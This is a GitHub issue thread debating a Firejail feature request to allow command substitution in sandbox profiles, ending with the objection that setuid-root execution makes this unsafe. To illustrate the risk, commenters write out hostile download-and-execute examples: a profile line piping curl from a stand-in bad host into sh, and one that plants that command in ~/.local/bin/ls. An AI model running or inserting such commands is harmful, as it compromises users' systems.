Firejail: [feature request] profiles that execute code (e.g. for dynamic soft-coded directories)

[ghost]

Some software packages come with a configuration parsing tool. For example, Postfix comes with postconf. So script for postfix/smtp might look like this:

firejail --net=vnet0 --dns="$(ip address show dev vnet0 | awk '/inet\>/{gsub(/[/].*/,""); print $2 }')"\
         --profile=smtp.profile\
         --writable-var --whitelist="$(postconf -h queue_directory)" --whitelist="$(postconf -h data_directory)"\
         "$exec_smtp" "$@"

In principle, the --whitelist="$(postconf -h queue_directory)" option should be in the smtp.profile because it's not particular to the script (it should be defined that way for all postfix/smtp invocations). But profiles require hard-coded literal pathnames. This means when someone contributes a profile to the firejail project it makes assumptions about someone else's directory organization.

There is also an update anomaly. If paths are hard-coded and someone moves something, they have to change it in the configuration of that tool and also in the firejail profile. They should only be changing it in the tool's config and firejail should be able to use command substitution in the profile ultimately to parse a config file using sed or awk.

[Hocuri]

The downside would be: We might need to care about malicious profiles. Like, someone could publish a profile that contains whitelist "$(curl something.bad.com/script|sh)" to download and execute malware

[ghost]

It's no more risky than malicious code inserted in the firejail code. In fact, considering something like curl in a profile would stand out like Donald Trump at a reggae festival, I would be generally worried if such malicious code could pass code review.

It's common for advanced tools to support command substitution in the config. Mutt and procmail would be quite powerless if they didn't have command substitution. With pre-packaged firejail profiles a paranoid policy might entail requiring all command substitutions to be commented out and effective out-of-the-box specs to all be common literals. The parser could even run the commands in a firejail --net=none, since a majority of cases will be sed and awk operating on local files.

In any case, there are no obvious show-stopper security issues. And the status quo is also a bit incorrect to make assumptions about how users organize their filesystems.

(edit) notice how I wrote a proposed postfix/smtp profile:
https://github.com/netblue30/firejail/issues/1139#issuecomment-474121052

It must be static paths by today's code, but a commented out script is included so users can ensure that the paths are in lockstep with the postfix configs to avoid an update anomaly.

[rusty-snake]

I would be generally worried if such malicious code could pass code review.

in this repo yes, but there are also profiles created by users and distributed in other repos or forums.

he parser could even run the commands in a firejail --net=none, since a majority of cases will be sed and awk operating on local files.

What about echo "curl something.bad.com/script|sh" > ~/.local/bin/ls, in some distros will be called at the next call of ls this bad script.

[ghost]

in this repo yes, but there are also profiles created by users and distributed in other repos o

Every distribution has a QA responsibility to ensure it's not distributing anything malicious. This is no different.

What about echo "curl something.bad.com/script|sh" > ~/.local/bin/ls, in some distros will be called at the next call of ls this bad script.

That doesn't pass review. And even with a negligent reviewer ~/.local/bin/ is not in $PATH. It's quite a stretch to think this is an issue in the real world.

[rusty-snake]

~/.local/bin/ is not in $PATH

depending on the distro.

[Hocuri]

Every distribution has a QA responsibility to ensure it's not distributing anything malicious. This is no different.

The attacker could as well distribute the malicious profile using forums,...

[pizzadude]

I don't think this is a good idea.

[ghost]

I don't think this is a good idea.

Yet it remains a bad idea to hard-code values assuming all users have the same file structure, and to fail to make use of configuration tools like postconf to mitigate update anomalies. Please suggest a good idea.

[rusty-snake]

First, there are .local files to overwrite/append the .profile files
@libBletchley if you need non-hardcoded paths, you can also write a little shell-script for that.
Like: sed "s/$(command --args)/placeholder1/g" < programm.profile.in | sed "s/$(command --args)/placeholder2/g" > programm.profile

[ghost]

@rusty-snake Are you suggesting that every user write the same shell code manually?

(edit) and if so, this would escape the review process entirely, no? Also what's to stop someone from posting their malicious version of shell code in a forum (@hocuri's concern)?

[rusty-snake]

Are you suggesting that every user write the same shell code manually?

It's only a very small part of the FJ users who need this at all.
=> not ever, only a small piece

Also what's to stop someone from posting their malicious version of shell code in a forum

nothing, but if you download and execute any code from the internet (like shell-scripts) then you make something wrong.

[ghost]

It's only a very small part of the FJ users who need this at all.
=> not ever, only a small piece

If the feature existed it would benefit every user who ever edits their target tool configs (who then must remember to replicate the edit in FJ configs), a number of which I think you're underestimating.

What's also being neglected is the security risk of failing to replicate such updates. A blacklisted directory can become unblacklisted inadvertently.

nothing, but if you download and execute any code from the internet (like shell-scripts) then you make something wrong.

I agree, and yet those who worry about that risk believe this is cause to block command substitution. I don't believe the demographic of FJ users are likely to take that risk without inspecting the code.

[Vincent43]

firejail runs as setuid root and it shouldn't execute random code it finds in a profile otherwise any user with access to firejail could run any command as root.

[ghost]

@Vincent43 Good point but I believe it's possible to fork and then seteuid() in the forked child to reduce privs.

[rusty-snake]

Closing here, because the OP was the onlyone how was positive for this feature and the account was deletet.

[Vincent43]

Good point but I believe it's possible to fork and then seteuid() in the forked child to reduce privs.

The problem is that it needs root to apply profile rules and setup namespaces,capabilities, mounts and so on. That's why the profile content has to be sanitized and every unknown rule should cause failure.